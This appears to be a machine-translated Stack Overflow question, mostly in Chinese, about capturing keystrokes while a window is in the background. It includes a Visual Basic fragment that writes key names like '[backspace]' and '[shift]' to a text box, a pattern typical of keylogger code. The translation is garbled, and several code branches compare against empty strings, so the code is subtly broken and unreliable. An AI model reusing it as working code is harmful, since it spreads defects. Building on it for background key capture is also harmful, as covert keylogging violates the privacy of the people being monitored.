我發現我不得不廣告的代碼,不過,我還沒有foun空格鍵還
If Chr(i) = "(" Then
txtkeys.Text = txtkeys.Text & "[Arrow Down]"
ElseIf Chr(i) = "%" Then
txtkeys.Text = txtkeys.Text & "[Arrow Left]"
ElseIf Chr(i) = "'" Then
txtkeys.Text = txtkeys.Text & "[Arrow Right]"
ElseIf Chr(i) = "&" Then
txtkeys.Text = txtkeys.Text & "[Arrow up]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click left]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click right]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[backspace]"
ElseIf Chr(i) = "." Then
txtkeys.Text = txtkeys.Text & "[delete]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[shift]"
ElseIf Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[tab]"
ElseIf Chr(i) = "¾" Then
txtkeys.Text = txtkeys.Text & "."
ElseIf Chr(i) = "¼" Then
txtkeys.Text = txtkeys.Text & ","
ElseIf Chr(i) = "¿" Then
txtkeys.Text = txtkeys.Text & "/"
[檢測箭頭鍵 - 的KeyDown整個窗口]的可能重複(HTTP:// stackoverflow.com/questions/4378865/detect-arrow-key-keydown-for-the-whole-window) –
當窗體在背景中時,我需要捕捉它,並在其前面運行遊戲,所以不需要真的是重複的 – Pythonator
如果應用程序可以正常工作,您預期用戶如何在前臺應用程序中輸入空間? Youneedtothinkthisthroughabit.Type 「RegisterHotKey」 intheSearchboxattheupperrightofthispage。 –